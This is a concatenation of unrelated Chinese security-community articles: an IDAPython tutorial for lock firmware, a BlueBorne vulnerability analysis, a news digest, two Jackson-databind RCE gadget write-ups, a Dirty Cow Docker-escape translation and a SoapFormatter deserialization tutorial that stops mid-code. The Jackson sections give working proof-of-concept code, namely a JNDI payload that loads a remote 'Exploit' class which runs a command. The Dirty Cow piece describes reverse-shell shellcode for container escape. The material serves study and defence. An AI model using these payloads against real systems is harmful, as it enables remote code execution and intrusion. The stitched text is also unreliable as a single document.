在本专题第8篇中，我们解析了家庭版果加智能门锁的固件代码，在其中找到了一个语音提示函数，即函数sub_800D40C。选中该函数按快捷键’x’，可以查找该函数的交叉引用，但这里有一个问题是，我们无法查看调用该函数时传递的参数，截图如下：
图1-1 函数sub_800D40C的交叉引用
如果我们可以列出每处调用时传给该函数的参数，那么分析效率就会提升许多。正好我们可以借此机会入门一下idapython，为以后的工作打好基础。
## **开发环境**
如果不是使用记事本直接写代码的大佬，建议还是配置一个合适的开发环境，工欲善其事，必先利其器。Python的开发环境有很多，我们这里选择WingIDE作为其开发环境，其他环境如pycharm也是可以的，但这里不做过多演示。WingIDE的官网是：<http://wingware.com>，在官网上可以找到3个版本，一个收费版WingIDE
pro和两个免费版WingIDE personal和WingIDE 101，理所当然的，WingIDE
pro功能要强大一些，但免费版也满足我们的需求。下载完成安装之后，WingIDE会自动查找到python的安装路径，完成python开发的配置工作。
然后我们需要再配置一下，使WingIDE可以调试和开发idapython脚本，参考WingIDE官方的配置方法：<http://wingware.com/doc/howtos/idapython>。首先，我们将WingIDE安装目录下的wingdbstub.py文件复制到IDA安装目录下python文件夹中。这是因为我们的idapython脚本需要引用wingdbstub库，如果该文件不在对应的目录下，就会引用失败。然后，我们打开WingIDE的远程调试功能，如下图所示：
图2-1 开启WingIDE远程调试
此后，我们写的idapython脚本只要额外加上两行代码，就可以使用WingIDE作为调试工具了，需要添加的代码如下：
图2-2 idapython脚本中启用WingIDE调试
最后，我们wingIDE写一个小脚本，并在脚本中下一个断点，用以验证我们之前的配置工作是否成功，代码截图如下：
图2-3 测试脚本用于验证配置是否成功
上图中，可以在红框之后的代码段下断或者单步调试；测试脚本的含义是查找地址0x800D40C的交叉引用，在下一章中，会详细解释idapython的编写入门。
在IDA中运行该脚本，如下图所示：
图2-4 IDA加载测试脚本
可以看到wingIDE中，代码顺利断在了第9行断点处，可以直接查看代码中的变量值，如下图所示：
图2-5 wingIDE调试idapython脚本
删除断点，待脚本运行完毕之后，就可以在IDA output窗口观测到脚本输出内容。
到此，我们的开发环境就完成了。
## **idapython脚本编写**
开发idapython脚本，首先需要掌握python脚本的编写，我们这里假设所有读者具备了基本的python脚本开发能力，起码写个hello
world没啥问题。此外还需要熟悉idapython独有的各个模块。
idapython的所有模块都在其安装目录下的python文件夹中，如下图所示：
图3-1 idapython提供的各个模块
在IDA
6.95之前的版本中，该文件夹中并没有这么多文件，仅有idaapi.py、idc.py和idautils.py，所有的idapython提供的功能全部都由这3个模块实现。而在IDA
7.0之后的版本，IDA将idapython提供的各种函数分门别类的放在了ida_开头的py文件中，虽然也保留了idaapi.py等文件，但看起来只是为了向下兼容而保留的。此外，这些文件的名字，如ida_auto.py，看起来就是对应idc
SDK中定义的头文件的名字，如截图中的ida_auto.py对应idc
SDK中auto.hpp文件。鉴于此，我们在开发idapython脚本的时候，应该减少使用idaapi.py等文件，因为该文件也许在下个版本中该文件就会消失。
所有idapython提供的模块可以在hex-rays官网上找到说明，地址如下：<https://www.hex-rays.com/products/ida/support/idapython_docs/>。还可以在idapython的github上找到相关的样例，地址如下：<https://github.com/idapython/src>。当然，最快的上手方法还是直接拿别人的代码读一读改一改，跑起来就行。下面将图2-2的代码稍作调整：
import ida_xref
import ida_idc
import wingdbstub
wingdbstub.Ensure()
def ListXref(FuncAddr):
index = 0
for xref in XrefsTo(FuncAddr, 0):
FuncArg = find_function_arg(xref.frm)
FormatStr = '%02d, 0x%08X calls sub_800D40C(0x%02X)' % (index, xref.frm, FuncArg)
print(FormatStr)
index += 1
def find_function_arg(addr):
for i in range(20):
addr = PrevHead(addr)
if GetMnem(addr) == "MOVS" and "R0" in GetOpnd(addr, 0):
FuncArg = GetOpnd(addr, 1)
return int(FuncArg[1:],16)
return ""
if __name__=='__main__':
print('List the Xref to sub_800D40C')
ListXref(0x800D40C)
print('List end')
代码3-1 用于显示函数调用参数的idapython代码
在上图中的代码中，函数find_function_arg就是我们直接参考其他人的代码修改而来；PrevHead、GetMnem、GetOpnd、XrefsTo等都是idapython提供的函数或变量，相信大家看了这段程序就能理解这几个关键字的定义，分别是获取上一个指令或数据的地址、获取该地址的指令、获取该地址的操作对象、查找交叉引用的意思，详细解析可以去官网查询或者直接查看idapython库中的注释内容。这段idapython代码的最终运行效果如下图所示：
图3-2 代码运行效果
可以从上图中看到，所有调用sub_800D40C函数的地址和调用参数已经展示出来，满足了我们的需求。
## **小结**
本篇是胖猴小玩闹专题的第一篇番外，我们主要介绍了idapython的基本功能。在本专题的后续文章中，我们将在很多地方使用idapython帮助我们分析，所以正好借此机会对idapython做个简要的介绍。
* * * | 社区文章 |
作者：[安天联合分析小组](https://mp.weixin.qq.com/s/YCuY4D-IH3ovyBLBQkXwdQ "安天联合分析小组")
#### 一、概述
使用蓝牙通信协议的设备数量随着物联网时代的开启日益增多。近期，物联网安全公司 Armis Labs 披露了一个攻击向量
BlueBrone，称攻击者可利用一系列与蓝牙相关的安全漏洞，在一定场景下可实现对具有蓝牙功能的远端设备的控制，进而窃取受害者数据，进行中间人攻击以及在感染一个设备后蠕虫式感染其它设备，且此攻击方式无需向用户申请认证授权，具有较大的危害性。为此，安天微电子与嵌入式安全实验室和安天移动安全公司两部门组成联合分析小组，认真剖析了整个攻击流程并做出威胁总结。
#### 二、攻击背景
蓝牙协议是中短距离无线通信采用的常用协议，但由于其规则庞大、架构复杂、功能模块繁多，且一些功能允许厂商自定义，直接导致很多蓝牙设备并未选择相对安全的加密通信方式；另外，一些设备由于自身性质原因，无法执行特定身份认证过程(例如蓝牙耳机无法执行“密钥输入”安全模式，因为耳机设备上就没有可供键盘输入的接口)
。这是造成此次蓝牙安全威胁的两大直接原因。
此次攻击首先需要知道目标设备的蓝牙地址。由于很多用户日常习惯默认开启蓝牙设备，便于攻击者扫描进而获得地址；另外在手机、电脑等设备中蓝牙地址与无线WiFi地址很接近或完全相同，使得攻击者很容易通过嗅探无线网络数据包进而推出目标蓝牙设备的地址。
不像其它驱动一样，每个操作系统都只有一个蓝牙协议栈，这导致一个漏洞的发现将会影响一系列基于此系统的设备。
#### 三、安全漏洞
蓝牙协议栈的主要模块及此次安全威胁的漏洞分布(如图3.1所示)：
图3.1漏洞分布情况
针对(CVE-2017-1000251)Linux 内核的 RCE(远程控制执行)漏洞，攻击者可利用此溢出漏洞向蓝牙协议的 L2CAP
层发送畸形数据包，对目标设备进行恶意配置，为下一步攻击做准备。
针对(CVE-2017-1000250)Linux BlueZ(蓝牙协议栈)信息泄露漏洞，由于蓝牙协议在设计规范方面存在不足，导致基于 SDP
模块的“续传模式”(SDP Continuation) 在上述内核溢出漏洞存在的前提下，在部分 Linux 与 Android
系统中会被攻击者完全控制，进而执行进一步的堆溢出攻击。
针对(CVE-2017-0785)Android 信息泄露漏洞，类似于在 Linux BlueZ 上的漏洞，利用 SDP
服务器的一个记录数目整数值的下溢出漏洞，攻击者可进而利用“续传模式”在 Android 设备上反复传输指令，达到绕过计数验证和 ASLR(Address
space layout randomization，内存空间地址随机化）保护机制的效果。
蓝牙协议引入了的 SSP(Secure simple pairing，简化安全配对)安全模式，提供了如下四种认证方式(如图3.2所示)：
图3.2 SSP认证方式
因为很多蓝牙设备自身或待连接的远端设备不具有外置输入接口以及显示能力，故会采用“只比较不确认认证”的方式，而此方式无法进行可靠的身份认证过程。攻击者在攻击采用
Android 系统的设备(一些 Android
系统版本有效)时，其利用场景就是基于对方设备具备显示和输入能力，但攻击者设备不具备输入和显示能力(攻击者可自行构造此状态)的情况，故可以远程发起一个无需与目标设备的用户进行交互的连接请求，接着建立连接并通信；对于采用Windows操作系统的设备(一些
Windows 系统版本有效)，攻击者采用同样的原理，发起构造的“无输入和显示能力-无需 MITM(Man in the
Middle，中间人攻击)防护”的连接请求，接着完成认证并进行后续通信。因为攻击者已经完成身份认证，而蓝牙在几乎所有操作系统中都具有最高权限，因而攻击者具有访问很多高权限服务的能力，进而实现对目标设备的进一步控制。
BNEP(Bluetooth network encapsulation protocol，蓝牙网络封装协议
)能够利用蓝牙协议的功能实现网络共享(例如，一台连接有线网络的电脑，可自建热点并打开蓝牙，让一台手机通过蓝牙连接到此电脑进而实现共享网络)，且能够添加数据包头标记实现包含额外控制指令的功能。另外，在此协议层上可支持构建PAN(Personal
Area Network，个人局域网络)，并提供对应的流量控制功能。 针对(CVE-2017-0781)Android REC 漏洞，由于 Android
上的 BNEP 服务在消息处理的代码逻辑部分存在一处逻辑错误，使得继8 bytes的堆溢出被触发后，后续的缓存区大小填写不受限制。
针对(CVE-2017-0782) Android REC
漏洞，由于Android上的BNEP服务在控制帧数据包处理的代码逻辑部分存在一处记录长度的数值的整型下溢出漏洞，且后续代码并未对此数值及限制条件进行严格检查，此漏洞可被用以绕过传输数据包过程中的
MTU(Maximum Transmisson Unit，最大传输单元)大小限制。
以上两个漏洞可让攻击者在基于此前的漏洞建立BNEP的连接后，通过制定控制指令进而利用由此带来的堆溢出漏洞使得远程控制代码被执行。通过漏洞利用的恶意代码，基于
com.Android.bluetooth
服务的权限，攻击者可访问手机的文件系统(电话本、文档、照片等)，也可以通过自行模拟键盘、鼠标等设备，与目标设备相连接，实现更深入的控制。攻击者甚至可以自建代理，通过蓝牙接口实现“蠕虫”式入侵其他设备的目的。
针对(CVE-2017-0783)Android 信息泄露安全漏洞和( CVE-2017-8628)Windows 信息泄露安全漏洞，攻击者可构建 PAN
自组网络，并设置自己为 NAP(Network Access Point，网络访问点)，进而设置 DHCP(Dynamic Host
Configuration Protocol，动态主机配置协议)服务器构造恶意中继，进行 MITM 攻击。另外，PAN
协议文档自2003年后就没更新过，至今依旧是V1.0版本，这造成了安全缺失。
因为蓝牙协议的部分功能允许厂商自定义，其中包括一些核心功能，因而苹果公司自定义了多种规则，与蓝牙协议一起共同构造了 L2CAP
协议层，即制定了苹果公司的蓝牙专有协议。此协议禁止了非用户交互认证下的“Just
Works”模式以及一些服务的连接构建，除非用户给予授权，这大大降低了攻击面。但各种自定义协议的嵌入也造成了一定的安全隐患。在基于苹果专有的“Pipe
Dream”协议设计的模式下，代码的复用造成了新的攻击面。
针对(CVE-2017-14315)Apple REC 漏洞，LEAP(Low energy audio protocol，低功耗语音协议)，由于基于蓝牙
BLE(Bluetooth low
energy，低功耗蓝牙)的语音控制命令传输在消息来源验证方面存在逻辑漏洞，默认传入的控制指令长度为104(0x68)，对传入指令大小验证不严格可导致堆溢出漏洞，进而使得远程控制代码在
iOS 的蓝牙协议栈上被执行。
#### 四、影响范围
**根据分析，以下版本的操作系统会受到影响：**
Linux: Linux kernel 3.3-rc1版本至Linux kernel 4.13.1版本；
Windows： Microsoft Windows Server 2016，Windows Server 2008 SP2，Windows RT
8.1，Windows 8.1，Windows 7 SP1，Microsoft Windows 10，Windows 10版本1511，Windows
10版本1607，Windows 10版本1703；
Android： 4.4.4版本，5.0.2版本，5.1.1版本，6.0版本，6.0.1版本，7.0版本，7.1.1版本，7.1.2版本，8.0版本；
iOS： iPhone, iPad, iPod在iOS 9.3.5及以下版本，AppleTV 7.2.2及以下版本(iOS10版本得到缓解)。
**以下安全模式下的蓝牙认证机制会受到影响：**
Just Works： 只比较不确认认证模式。
> 注：关于基于其他系统的蓝牙耳机、蓝牙等设备原则来说不受影响，可以正常使用。但攻击者会伪造自己的设备是一个只支持“Just
> Works”模式的蓝牙外设去连接受害者的电脑/手机(目标用户使用上述系统)，而此过程不需要与用户进行交互，会在用户不知情的情况下连接至其设备。
#### 五、安全建议
1.请用户自行将系统升级至最新版本，并及时安装更新补丁。对安全要求高的用户，若对应系统/补丁暂未发布，建议请等待系统更新或补丁升级后再使用蓝牙设备(Android8.1系统将于10月4日发布)；
2.在日常生活中，不使用蓝牙设备时将其关掉(此次组合攻击模式在蓝牙未开启时无法进行攻击)；
3.因蓝牙属于中短距离无线通信协议，不建议在安装更新和补丁前在公共场合等非信任场景下使用蓝牙设备；
4.强烈建议不要使用蓝牙共享网络(包括 BNEP 和 PAN)；
5.其他建议：日常生活中，面对无外接输入和显示功能的设备(即默认认证方式为“Just
Works”方式的设备，如部分蓝牙耳机、蓝牙鼠标等)，在无法信任此设备或无法确定此设备是否安全时(如路边某咖啡厅的蓝牙音响)，请不要主动进行连接此设备。
#### 六、安天的研究
安天长期关注硬件外设、信号等领域的新威胁、中短距离无线通信的安全防护等方向，安天在2004年，组建了微电子与嵌入式安全实验室，并针对2.4G无线信号、蓝牙、工业短距协议、受时信号等进行了多项研究探索，部分研发成果在历年的XCon、ISF和XDef等重要行业安全会议上发表演讲，展示研究成果，也引发了相关企业和单位对物联网安全威胁的关注。安天移动安全公司针对车联网等物联网安全环节做了大量研究工作，并向主管部门提供了内部研究报告。
在最近的 XCon
安全峰会上，安天微嵌的工程师简述了蓝牙4.0通信的安全机制及机器学习预测模型的构建流程。并以蓝牙4.0通信过程为例，通过无线电设备跟踪跳频、捕获并破解蓝牙键盘键入的数据，将加密通信数据、破解后的明文信息与同时记录的流量特征进行对比分析，揭示了三者间的联系及由此可能带来的信息泄露威胁，同时用简单的实例展现了安全风险。
图6.1安天针对外设、短距通信等相关领域的研究
* * * | 社区文章 |
# 5月26日安全热点-某信用卡漏洞：额度可提15万，瞬间被撸25亿
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 漏洞 Vulnerability
施耐德电气发布 SoMachine Basic 安全更新，修复一个XXE漏洞
<http://t.cn/R12Zxp3>
Ubuntu 安全更新：Thunderbird 存在多个漏洞可能导致任意代码执行
<http://t.cn/R12LfLe>
在APPLE MAIL中，PGP 消息仍然会受到 EFAIL 漏洞影响
<http://t.cn/R12Lfbb>
TalkTalk路由器存在漏洞，导致Wi-Fi密码泄露
<http://t.cn/R125cXK>
procps-ng 本地提权漏洞预警
<http://t.cn/R125c6h>
UEditor SSRF漏洞(JSP版本)分析与复现
<http://t.cn/R125cSa>
xdg-utils中的open_envvar函数未过滤BROWSER环境变量，可能导致远程命令执行
<http://t.cn/R12LfGG>
## 恶意软件 Malware
ESET研究人员发现了一种银行恶意软件，它采用了一种新技术来绕过专门的浏览器保护措施
<http://t.cn/R12LfyR>
emotet 恶意软件分析（part 1）
<http://t.cn/R12ZxCa>
## 安全事件 Security Incident
某信用卡漏洞：额度可提15万 瞬间被撸走25亿
<http://t.cn/R125cKA>
黑客再次攻击Verge加密货币网络，几小时获利1053万
<http://t.cn/R1ZkdVT>
LifeBridge 被攻击，可能已导致500,000患者的个人信息泄露
<http://t.cn/R12ZxND>
## 安全资讯 Security Information
首届中国工业信息安全大会召开，发布成果《工业信息安全概论》
<http://t.cn/R1Zs8rN>
MOSEC2018 移动安全技术峰会
<http://t.cn/R125cCl>
## 安全研究 Security Research
Electron 自定义协议命令注入补丁使用 host-rules 参数再次绕过分析
<http://t.cn/R1zQ0ZC>
超过一亿个物联网设备可能会受到Z-Shave（Z-Wave 协议降级）攻击
<http://t.cn/R12ZxiR>
虚拟化学习： 使用二进制translation的VMWare和完全虚拟化
<http://t.cn/R1zmcVS>
二进制 exp 开发
<http://t.cn/R12Zxaw>
【以上信息整理于 <https://cert.360.cn/daily> 】
360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
## 文章前言
之前发表过一篇关于CVE-2020-xxxx:Jackson-databind
RCE的分析文章，之后在逛Github时又发现了两个新的Gadget，于是又提了一篇同名的文章，可能是因为同名的原因，审核忽略了，于是再补一下这篇文章
## Jackson-databind RCE(第一则)
### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
### 利用条件
* 开启enableDefaultTyping()
* 使用了com.nqadmin.rowset.JdbcRowSetImpl第三方依赖
### 漏洞概述
com.nqadmin.rowset.JdbcRowSetImpl类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成RCE。
### 环境搭建
pom.xml
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.pastdev.httpcomponents/configuration -->
<dependency>
<groupId>com.nqadmin.rowset</groupId>
<artifactId>jdbcrowsetimpl</artifactId>
<version>1.0.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
### 漏洞复现
Exploit.java代码如下：
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译上述Exploit.java之后在同目录下使用Python创建一个简易的Web服务，提供下载请求~
python -m SimpleHTTPServer 4444
之后启动一个LDAP服务：
执行漏洞POC:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
之后运行该程序，成功执行命令，弹出计算器：
### 漏洞分析
首先定位到com.nqadmin.rowset.JdbcRowSetImpl类，之后根据POC全局搜索dataSourceName，发现在setDataSourceName处调用，此时我们的DataSourceName因为没有进行初始化所以当前为null，之后进入else中调用父类的setDataSourceName函数，之后继续跟进：
可以看到在父类的setDataSourceName中只是对dataSource进行了赋值而已，并无其他的操作，那么如何导致的RCE呢？带着疑问我们来看payload中的第二个参数：
第二个参数提供了一个autoCommit，之后全局搜索autoCommit发现在setautoCommit处被调用，而此时的conn未被初始化所以为null，进而进入else语句中，之后会执行一次this.connect()，下面我们跟进来看看：
之后在this.connect中发现一处可疑的JNDI注入，而此时的参数为"this.getDataSourceName"：
该参数来自我们刚刚设置的DataSourceName，进而此处的JNDI注入参数可控，可以利用实现RCE:
整个利用链如下所示：
mapper.readValue
->com.nqadmin.rowset.JdbcRowSetImpl.setDataSourceName
->javax.sql.rowset.BaseRowSet.setDataSourceName
->com.nqadmin.rowset.JdbcRowSetImpl.setAutoCommit
->this.connect()
->(DataSource)ctx.lookup(this.getDataSourceName())
### 修复建议
* 及时将jackson-databind升级到安全版本
* 升级到较高版本的JDK
## Jackson-databind RCE(第二则)
### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
### 利用条件
* 开启enableDefaultTyping()
* 使用了org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl第三方依赖
### 漏洞概述
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成RCE。
### 环境搭建
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.pastdev.httpcomponents/configuration -->
<dependency>
<groupId>org.arrahtec</groupId>
<artifactId>profiler-core</artifactId>
<version>6.1.7</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
### 漏洞利用
Exploit.java代码如下：
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译上述文件，之后使用Python启一个Web服务：
之后使用marshalsec来启一个LDAP服务：
执行漏洞POC:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
之后运行该程序，成功执行命令，弹出计算器：
### 漏洞分析
首先定位到org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl类，之后根据POC全局搜索dataSourceName，发现在setDataSourceName处调用，此时我们的DataSourceName因为没有进行初始化所以当前为null，之后进入else中调用父类的setDataSourceName函数，之后继续跟进：
可以看到在父类的setDataSourceName中只是对dataSource进行了赋值而已，并无其他的操作，之后来看payload中的第二个参数——autoCommit,通过全局搜索autoCommit发现在setautoCommit处被调用，而此时的conn未被初始化所以为null，进而进入else语句中，之后会执行一次this.connect()，下面我们跟进来看看：
之后在this.connect中发现一处可疑的JNDI注入，而此时的参数为"this.getDataSourceName"：
该参数来自我们刚刚设置的DataSourceName，进而此处的JNDI注入参数可控，可以利用实现RCE:
整个利用链如下所示：
mapper.readValue
->org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl.setDataSourceName
->javax.sql.rowset.BaseRowSet.setDataSourceName
->org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl.setAutoCommit
->this.connect()
->(DataSource)ctx.lookup(this.getDataSourceName())
### 修复建议
* 及时将jackson-databind升级到安全版本
* 升级到较高版本的JDK | 社区文章 |
# 【技术分享】利用Dirty Cow实现docker逃逸（附演示视频）
##### 译文声明
本文是翻译文章，文章来源：paranoidsoftware
原文地址：<https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **vector**
****](http://bobao.360.cn/member/contribute?uid=1497851960)
**稿费：120RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)************ **在线投稿**
**前言**
Dirty Cow漏洞是利用Linux内核在处理内存写时拷贝（Copy-on-Write）时存在条件竞争漏洞，导致可以破坏私有只读内存映射。而一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限，有可能进一步导致提权漏洞。
Dirty
Cow自发布以来，影响的范围也越来越大。除了影响linux版本之外，近日来有安全研究人员表示也会影响android安全，而现在连docker都不能幸免。
**正文**
**逃逸**
相较于本地提权，更让我感兴趣的是这个漏洞在容器内核就像docker那种中的利用。
为了利用这个漏洞，我们需要共享所有进程中的资源。为了利用这个漏洞，我们需要找到一个突破点，linux有一个功能，"vDSO"(virtual dvnamic
shared
object),这是一个小型共享库，能将内核自动映射到所有用户程序的地址空间。听起来很有用？这个库之所以存在，是因为一些系统可以通过调用它来显著地提高整体性能，但是它也适合我们邪恶的需要。
现在，我们有了所有进程共享的library可以执行代码，接下来该怎么做？
**scumjr的dirtycow-vdso**
scumjr放出来一个[POC](https://github.com/scumjr)，利用dirty
cow修改vDSO内存空间中的ckock_gettime()函数。该POC修改了这个函数的执行，所有进程调用ckock_gettime都会触发而不是仅仅是运行的进程。一旦竞争条件触发，shellcode执行后，它就会给你一个root权限的shell。
我在aws上搭建了一个测试环境，在亚马逊上利用ami-7172b611镜像创建一个实例，以我的做例子，我运行的内核是4.4.19-29.55.amzn1.x86_64，但是所有存在漏洞的内核都能满足要求。
创建容器的Docker
files和部署scumjr的exploit都上传到了[github](https://github.com/gebl/dirtycow-docker-vdso)上。
**演示视频**
视频首先显示的是EC2实例中操作系统的版本和docker的版本。然后他开始启动一个容器并运行一个shell。在容器中，我编辑payload，将ip改为容器的ip，编译，运行。一旦回连成功，使用id命令可以看出我是root用户，而且能看到容器外宿主机的文件。
我对证实docker逃逸其实很简单非常感兴趣，因为我认为很多人高估其中的技术难度。
内核漏洞虽然比用户权限提升漏洞更稀有，但是不是没有例子、不能被理解。即使是因为内核特性，使得容器的隔离变为可能，我们也可以通过内核漏洞来绕过它。
还有许多使用不同策略的POC exploit值得一看，你可以在github上看到完整的列表
[https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)
**vDSO背景**
vDSO是一个优化性能的功能。在vDSO的[帮助页面](http://man7.org/linux/man-pages/man7/vdso.7.html)上以gettimeofday为例进行说明，gettimeofday经常被用户空间的程序和C语言库调用。试想一下，如果一个程序需要立即知道当前的时间，就会频繁的进行定时循环或者轮询。为了减少开销，而且这不是私密信息，所以，它可以轻易并安全地在所有进程中共享。内核就需要负责把时间放在一个所有进程都能访问的内存位置。于是，通过在vDSO中定义一个功能来共享这个对象，让进程来访问此信息。
通过这种方式，调用gettimeofday的花销就大大降低了，速度也就变得更快了。
**漏洞细节**
这个漏洞利用了一个可以映射到所有进程并包含了经常被调用的函数的共享内存块。这个exploit利用dirty
cow将payload写到vDSO中的一些闲置内存中，并改变函数的执行顺序，使得在执行正常函数之前调用这个shellcode。
shellcode初始化时会检查是否被root所调用，如果是，就继续，否则返回并执行clock_gettime定期函数。然后，它会检查文件/tmp/.X的存在，如果存在，函数就知道自己已经是root权限。接下来，shellcode会打开一个反向的tcp连接，为shellcode中编码的ip和端口地址提供一个shell。
默认情况下，这是在本地连接，但是我们可以根据自己的需要来修改。shellcode中的17，18行可以修改我们需要的ip和端口，例子如下：
IP equ 0x0100007f
PORT equ 0xd204
**更新**
现在有一个更新，你可以在命令行中以"ip:port"的格式来输入IP和端口，这远比修改代码来得轻松。 | 社区文章 |
# SoapFormatter
SoapFormatter类似XmlSerializer，用于生成基于xml的soap数据流，命名空间位于System.Runtime.Serialization.Formatters.Soap。
# demo
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
namespace SoapDeserialization
{
[Serializable]
class Person
{
private int age;
private string name;
public int Age { get => age; set => age = value; }
public string Name { get => name; set => name = value; }
public void SayHello()
{
Console.WriteLine("hello from SayHello");
}
}
class Program
{
static void Main(string[] args)
{
SoapFormatter soapFormatter = new SoapFormatter();
Person person = new Person();
person.Age = 10;
person.Name = "jack";
using (MemoryStream stream = new MemoryStream())
{
soapFormatter.Serialize(stream,person);
string soap = Encoding.UTF8.GetString(stream.ToArray());
Console.WriteLine(soap);
stream.Position = 0;
Person p = (Person)soapFormatter.Deserialize(stream);
Console.WriteLine(p.Name);
p.SayHello();
}
Console.ReadKey();
}
}
}
输出
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:Person id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/SoapDeserialization%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull">
<age>10</age>
<name id="ref-3">jack</name>
</a1:Person>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
jack
hello from SayHello
soap使用xmlns标间来限定命名空间，体现在a1标签。
同样实现两个接口 IRemotingFormatter, IFormatter，具有多个序列化反序列化方法重载，具有代理选择器。
# 攻击链
在ysoserial.net中，SoapFormatter同样有很多的攻击链。本章节介绍ActivitySurrogateSelector、ActivitySurrogateSelectorFromFile、ActivitySurrogateDisableTypeCheck。
## ActivitySurrogateSelector
在《dotnet serialize
101》中我们已经介绍了代理选择器的使用方法，这里不再赘述。而代理选择器的用法在于是原本不能被序列化的类可以用来序列化和反序列化。看一个demo
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
namespace SoapDeserialization
{
class Person
{
public string Name { get; set; }
public Person(string name)
{
Name = name;
}
public override string ToString()
{
return Name;
}
}
sealed class PersonSerializeSurrogate : ISerializationSurrogate
{
public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
{
var p = (Person)obj;
info.AddValue("Name", p.Name);
}
public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
var p = (Person)obj;
p.Name = info.GetString("Name");
return p;
}
}
class Program
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter fmt = new SoapFormatter();
MemoryStream stm = new MemoryStream();
var ss = new SurrogateSelector();
ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
fmt.SurrogateSelector = ss;
fmt.Serialize(stm, new Person("jack"));
stm.Position = 0;
Console.WriteLine(fmt.Deserialize(stm));
stm.Position = 0;
var fmt2 = new SoapFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
Console.ReadKey();
}
}
}
自定义了一个PersonSerializeSurrogate代理器用于给Person类进行序列化和反序列化，即使Person没有标注Serializable可序列化，但是仍然可以被序列化。
虽然输出了jack，但是我们另一个formatter即fmt2不能正确反序列化jack对象，因为fmt2没有设置代理选择器。而在审计的实际过程中，目标的formatter根本不会指定我们自实现的代理选择器，他都不知道我们自己实现的代理选择器是什么样的。
再来看这条链，牛就牛在发现了[ActivitiySurrogateSelector](https://msdn.microsoft.com/en-us/library/system.workflow.componentmodel.serialization.activitysurrogateselector\(v=vs.110).aspx)这个类中的ObjectSurrogate，通过这个内部类我们可以反序列化任何对象。看一下这个类的使用
using System;
using System.IO;
using System.Runtime.Serialization;
